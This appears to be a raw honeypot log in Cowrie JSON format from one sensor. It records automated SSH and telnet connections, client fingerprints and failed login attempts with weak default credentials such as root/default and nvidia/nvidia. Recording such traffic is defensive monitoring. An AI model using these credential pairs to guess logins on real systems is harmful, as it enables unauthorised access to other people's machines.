{"eventid":"cowrie.login.failed","username":"root","password":"Password12345^","message":"login attempt [root/Password12345^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:08.649951Z","src_ip":"27.71.230.31","session":"92b099ce22df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:08.760768Z","src_ip":"197.5.145.150","session":"f8d09e2a6ff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dummy","password":"1","message":"login attempt [dummy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:09.258734Z","src_ip":"197.5.145.150","session":"f8d09e2a6ff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"12345678","message":"login attempt [daniel/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:10.040607Z","src_ip":"141.11.88.14","session":"be458d775480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:10.376961Z","src_ip":"197.5.145.150","session":"f8d09e2a6ff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:10.960759Z","src_ip":"27.71.230.31","session":"92b099ce22df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:11.349804Z","src_ip":"141.11.88.14","session":"be458d775480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":40752,"dst_ip":"159.203.135.109","dst_port":22,"session":"94dd30e0f9e9","protocol":"ssh","message":"New connection: 211.253.37.225:40752 (159.203.135.109:22) [session: 94dd30e0f9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:14.349663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:14.358246Z","src_ip":"211.253.37.225","session":"94dd30e0f9e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:14.557483Z","src_ip":"211.253.37.225","session":"94dd30e0f9e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sap","password":"123456","message":"login attempt [sap/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:15.385990Z","src_ip":"211.253.37.225","session":"94dd30e0f9e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":13482,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6f60ffeb115","protocol":"ssh","message":"New connection: 141.11.88.14:13482 (10.17.0.5:22) [session: d6f60ffeb115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:15.745680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:15.817922Z","src_ip":"141.11.88.14","session":"d6f60ffeb115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:16.201729Z","src_ip":"141.11.88.14","session":"d6f60ffeb115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:16.633391Z","src_ip":"211.253.37.225","session":"94dd30e0f9e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:16.961918Z","src_ip":"141.11.88.14","session":"d6f60ffeb115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:18.206621Z","src_ip":"141.11.88.14","session":"d6f60ffeb115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":54072,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d8f524bfc7f","protocol":"ssh","message":"New connection: 141.11.88.14:54072 (10.17.0.5:22) [session: 4d8f524bfc7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:22.097656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:22.158376Z","src_ip":"141.11.88.14","session":"4d8f524bfc7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:22.290769Z","src_ip":"141.11.88.14","session":"4d8f524bfc7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"123456","message":"login attempt [web/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:22.850943Z","src_ip":"141.11.88.14","session":"4d8f524bfc7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:24.247688Z","src_ip":"141.11.88.14","session":"4d8f524bfc7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50360,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f421bae58e6","protocol":"ssh","message":"New connection: 141.11.88.14:50360 (10.17.0.5:22) [session: 3f421bae58e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:28.883014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:28.911902Z","src_ip":"141.11.88.14","session":"3f421bae58e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:28.999084Z","src_ip":"141.11.88.14","session":"3f421bae58e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:29.569865Z","src_ip":"141.11.88.14","session":"3f421bae58e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:30.665542Z","src_ip":"141.11.88.14","session":"3f421bae58e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.0013747215271,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:33.344478Z","src_ip":"172.81.62.90","session":"63e51d1e184d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50406,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeb5d033f35b","protocol":"ssh","message":"New connection: 141.11.88.14:50406 (10.17.0.5:22) [session: eeb5d033f35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:33.890010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:34.106713Z","src_ip":"141.11.88.14","session":"eeb5d033f35b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:34.110505Z","src_ip":"141.11.88.14","session":"eeb5d033f35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:36.491002Z","src_ip":"141.11.88.14","session":"eeb5d033f35b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:37.970657Z","src_ip":"141.11.88.14","session":"eeb5d033f35b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":35534,"dst_ip":"10.17.0.5","dst_port":22,"session":"0131a87e63b9","protocol":"ssh","message":"New connection: 197.5.145.150:35534 (10.17.0.5:22) [session: 0131a87e63b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:38.148064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:38.153305Z","src_ip":"197.5.145.150","session":"0131a87e63b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:38.281597Z","src_ip":"197.5.145.150","session":"0131a87e63b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123qwe","message":"login attempt [ubuntu/qwe123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:38.778710Z","src_ip":"197.5.145.150","session":"0131a87e63b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:39.897422Z","src_ip":"197.5.145.150","session":"0131a87e63b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":35310,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d16195a960e","protocol":"ssh","message":"New connection: 141.11.88.14:35310 (10.17.0.5:22) [session: 7d16195a960e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:41.361670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:41.411174Z","src_ip":"141.11.88.14","session":"7d16195a960e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:41.495171Z","src_ip":"141.11.88.14","session":"7d16195a960e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:42.005616Z","src_ip":"141.11.88.14","session":"7d16195a960e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:43.459804Z","src_ip":"141.11.88.14","session":"7d16195a960e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.585949182510376,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:44.963400Z","src_ip":"107.6.151.170","session":"901efc7f93ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":50840,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9fd2e23d646","protocol":"telnet","message":"New connection: 94.23.66.112:50840 (10.17.0.5:23) [session: c9fd2e23d646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:46.157435Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":46374,"dst_ip":"10.17.0.5","dst_port":22,"session":"1437fb10bd4d","protocol":"ssh","message":"New connection: 141.11.88.14:46374 (10.17.0.5:22) [session: 1437fb10bd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:48.002938Z"}
